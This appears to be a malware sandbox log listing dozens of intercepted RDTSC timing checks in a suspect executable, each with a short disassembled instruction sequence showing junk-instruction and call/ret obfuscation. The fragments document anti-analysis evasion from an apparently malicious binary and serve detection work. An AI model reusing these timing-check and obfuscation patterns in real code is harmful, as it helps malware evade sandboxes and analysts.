Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 110874C second address: 1108752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113DBFA second address: 113DC10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3808C1865Ch 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113E299 second address: 113E2C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3808D55105h 0x0000000a jmp 00007F3808D550FBh 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1141B30 second address: 1141B34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1141C1A second address: 1141C2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 jl 00007F3808D550F8h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1141C2E second address: 1141C57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F3808C18664h 0x0000000f mov eax, dword ptr [eax] 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jbe 00007F3808C18656h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1141C57 second address: 1141C6C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jns 00007F3808D55112h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1142F12 second address: 1142F20 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 jbe 00007F3808C1865Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1142F20 second address: 1142F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 ja 00007F3808D550F8h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1142F35 second address: 1142F39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11445BC second address: 11445E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F3808D550F6h 0x0000000a popad 0x0000000b jp 00007F3808D5510Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11445E3 second address: 11445E8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1149BB4 second address: 1149BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3808D550F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1149BBF second address: 1149C01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C1865Bh 0x00000007 jbe 00007F3808C18668h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pushad 0x00000013 popad 0x00000014 pop edi 0x00000015 jnl 00007F3808C18665h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1149C01 second address: 1149C14 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jne 00007F3808D550F6h 0x00000009 jno 00007F3808D550F6h 0x0000000f pop edi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1149C14 second address: 1149C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3808C18656h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1149D26 second address: 1149D2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1149FFC second address: 114A01D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18663h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 114A01D second address: 114A02D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3808D550FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 114A443 second address: 114A46F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007F3808C18665h 0x0000000d pop ebx 0x0000000e push ebx 0x0000000f jnc 00007F3808C18656h 0x00000015 pushad 0x00000016 popad 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 114CA5E second address: 114CA63 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 114CB4B second address: 114CB51 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 114D194 second address: 114D199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 114D199 second address: 114D19F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 114D19F second address: 114D1A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 114D697 second address: 114D6AB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3808C18656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F3808C18656h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 114DD61 second address: 114DD66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 114E6AA second address: 114E6FF instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3808C18658h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d movzx esi, ax 0x00000010 push 00000000h 0x00000012 or esi, 7482896Dh 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007F3808C18658h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 00000016h 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 xor dword ptr [ebp+124780CDh], eax 0x0000003a movzx esi, cx 0x0000003d xchg eax, ebx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F3808C1865Fh 0x00000045 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 114F7CF second address: 114F7D9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3808D550F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 114EFC0 second address: 114EFCA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3808C18656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 114F7D9 second address: 114F7DE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 114F7DE second address: 114F832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jnp 00007F3808C1865Eh 0x0000000e nop 0x0000000f sub dword ptr [ebp+122D1BEBh], ebx 0x00000015 push 00000000h 0x00000017 call 00007F3808C1865Ah 0x0000001c or esi, 4D799765h 0x00000022 pop edi 0x00000023 push 00000000h 0x00000025 mov edi, ecx 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b jo 00007F3808C18656h 0x00000031 jmp 00007F3808C18665h 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 114F832 second address: 114F84E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3808D55108h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 115037E second address: 1150382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1150382 second address: 11503FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D550FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push ebx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop ebx 0x00000010 pop eax 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F3808D550F8h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c mov dword ptr [ebp+122D1856h], esi 0x00000032 push 00000000h 0x00000034 mov edi, dword ptr [ebp+122D37C8h] 0x0000003a push 00000000h 0x0000003c pushad 0x0000003d or ecx, 41FBBF54h 0x00000043 mov esi, ebx 0x00000045 popad 0x00000046 mov edi, dword ptr [ebp+122D3901h] 0x0000004c push eax 0x0000004d pushad 0x0000004e jl 00007F3808D5510Bh 0x00000054 jmp 00007F3808D55105h 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c pop eax 0x0000005d rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11503FA second address: 11503FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1150F38 second address: 1150F3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1150F3D second address: 1150F5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18661h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1150F5C second address: 1150FE0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F3808D550F8h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 mov di, dx 0x00000025 sub dword ptr [ebp+124780CDh], edi 0x0000002b mov dword ptr [ebp+124780CDh], ebx 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ecx 0x00000036 call 00007F3808D550F8h 0x0000003b pop ecx 0x0000003c mov dword ptr [esp+04h], ecx 0x00000040 add dword ptr [esp+04h], 00000014h 0x00000048 inc ecx 0x00000049 push ecx 0x0000004a ret 0x0000004b pop ecx 0x0000004c ret 0x0000004d xor si, CFF4h 0x00000052 push 00000000h 0x00000054 pushad 0x00000055 mov ecx, dword ptr [ebp+122D382Dh] 0x0000005b mov ecx, 0639D7DFh 0x00000060 popad 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 push esi 0x00000065 jmp 00007F3808D55107h 0x0000006a pop esi 0x0000006b rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1150FE0 second address: 1150FE5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1151ACA second address: 1151AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1151853 second address: 1151862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11525CC second address: 11525D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 115306A second address: 11530CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18667h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F3808C18658h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 push 00000000h 0x00000028 mov esi, 4710E039h 0x0000002d xchg eax, ebx 0x0000002e jmp 00007F3808C18660h 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 push edi 0x00000037 pushad 0x00000038 popad 0x00000039 pop edi 0x0000003a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1153A33 second address: 1153A3D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1158840 second address: 115885A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3808C1865Dh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F3808C18656h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1159E34 second address: 1159E39 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1159F94 second address: 1159F9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 115BC30 second address: 115BC34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 115BC34 second address: 115BC3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 115BC3E second address: 115BC42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 115BC42 second address: 115BC46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 115AE3C second address: 115AE40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 115BC46 second address: 115BCBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F3808C18666h 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D2AA1h], edx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007F3808C18658h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 00000019h 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 mov ebx, dword ptr [ebp+122D3B65h] 0x00000036 push 00000000h 0x00000038 mov di, si 0x0000003b call 00007F3808C1865Fh 0x00000040 pop ebx 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F3808C18660h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 115AE40 second address: 115AEF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D550FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+12459A8Bh], edi 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007F3808D550F8h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 mov dword ptr [ebp+122D1BF1h], edi 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 jmp 00007F3808D55109h 0x00000046 mov eax, dword ptr [ebp+122D0A65h] 0x0000004c push 00000000h 0x0000004e push edi 0x0000004f call 00007F3808D550F8h 0x00000054 pop edi 0x00000055 mov dword ptr [esp+04h], edi 0x00000059 add dword ptr [esp+04h], 0000001Ah 0x00000061 inc edi 0x00000062 push edi 0x00000063 ret 0x00000064 pop edi 0x00000065 ret 0x00000066 push edx 0x00000067 pop edi 0x00000068 push FFFFFFFFh 0x0000006a movsx ebx, di 0x0000006d push eax 0x0000006e pushad 0x0000006f push ecx 0x00000070 jno 00007F3808D550F6h 0x00000076 pop ecx 0x00000077 push eax 0x00000078 push edx 0x00000079 jmp 00007F3808D550FEh 0x0000007e rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 115BCBC second address: 115BCC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 115BCC2 second address: 115BCC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 115CAE4 second address: 115CAEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 115CAEA second address: 115CB37 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 pushad 0x0000000a push eax 0x0000000b adc bl, FFFFFFB2h 0x0000000e pop eax 0x0000000f mov dword ptr [ebp+122D2D6Ah], edi 0x00000015 popad 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007F3808D550F8h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 push 00000000h 0x00000034 mov edi, dword ptr [ebp+1247F4F6h] 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d jnl 00007F3808D550FCh 0x00000043 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 115DAC5 second address: 115DAD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F3808C1865Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 115EA95 second address: 115EA9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F3808D550F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 115EA9F second address: 115EAAD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 115F9C0 second address: 115F9C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 115EC7A second address: 115EC7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 115EC7E second address: 115EC84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 116188C second address: 116192C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F3808C18656h 0x00000009 jbe 00007F3808C18656h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp], eax 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007F3808C18658h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f push 00000000h 0x00000031 mov edi, dword ptr [ebp+122D1CC8h] 0x00000037 call 00007F3808C18661h 0x0000003c mov edi, ecx 0x0000003e pop ebx 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push edx 0x00000044 call 00007F3808C18658h 0x00000049 pop edx 0x0000004a mov dword ptr [esp+04h], edx 0x0000004e add dword ptr [esp+04h], 00000018h 0x00000056 inc edx 0x00000057 push edx 0x00000058 ret 0x00000059 pop edx 0x0000005a ret 0x0000005b je 00007F3808C18660h 0x00000061 pushad 0x00000062 mov ebx, esi 0x00000064 js 00007F3808C18656h 0x0000006a popad 0x0000006b push eax 0x0000006c pushad 0x0000006d pushad 0x0000006e jmp 00007F3808C18663h 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1164AC0 second address: 1164AC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1163BDE second address: 1163BF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3808C18661h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 116727B second address: 116728C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3808D550FAh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1160B63 second address: 1160B68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1160B68 second address: 1160B6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1160B6D second address: 1160B81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F3808C18658h 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1160B81 second address: 1160B87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
